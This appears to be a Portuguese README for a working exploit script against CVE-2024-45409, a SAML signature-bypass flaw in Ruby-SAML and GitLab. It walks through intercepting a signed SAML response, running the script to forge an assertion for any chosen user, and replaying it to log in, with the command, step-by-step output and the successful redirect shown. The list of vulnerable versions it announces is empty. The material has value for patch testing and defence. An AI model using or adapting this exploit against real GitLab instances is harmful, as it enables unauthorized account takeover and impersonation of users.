
Exploit de bypass de autenticação Ruby-SAML / GitLab (CVE-2024-45409)
Este script explora a CVE-2024-45409, que permite que um atacante não autenticado, com acesso a qualquer documento SAML assinado emitido pelo IDP, forje uma Resposta/Asserção SAML e obtenha acesso como qualquer usuário no GitLab.
Todas as seguintes versões do GitLab (CE/EE) são vulneráveis:
Este exploit injeta o DigestValue da asserção modificada no elemento StatusDetail, permitindo contrabandear o seletor XPath que usará esse valor em vez do que está no bloco SignedInfo.
apt install python3-lxml
Primeiro, intercepte a URL e a resposta SAML do IDP codificada em Base64; depois, modifique o conteúdo XML usando o script.
POST /users/auth/saml/callback HTTP/1.1
Host: gitlab.test.local
[...]
SAMLResponse=PHNhbWxwOlJlc3Bv[...]
$ python3 CVE-2024-45409.py -r response.url_base64 -n [email protected] -d -e -o response_patched.url_base64
[+] Parse response
Digest algorithm: sha256
Canonicalization Method: http://www.w3.org/2001/10/xml-exc-c14n#
[+] Remove signature from response
[+] Patch assertion ID
[+] Patch assertion NameID
[+] Patch assertion conditions
[+] Move signature in assertion
[+] Patch response ID
[+] Insert malicious reference
[+] Clone signature reference
[+] Create status detail element
[+] Patch digest value
[+] Write patched file in response_patched.url_base64
Em seguida, substitua o valor do parâmetro SAMLResponse pela saída do script. Se a autenticação for bem-sucedida, você será redirecionado para a página inicial do GitLab.
HTTP/1.1 302 Found
Location: http://gitlab.test.local/
[...]
<html><body>You are being <a href="http://gitlab.test.local/">redirected</a>.</body></html>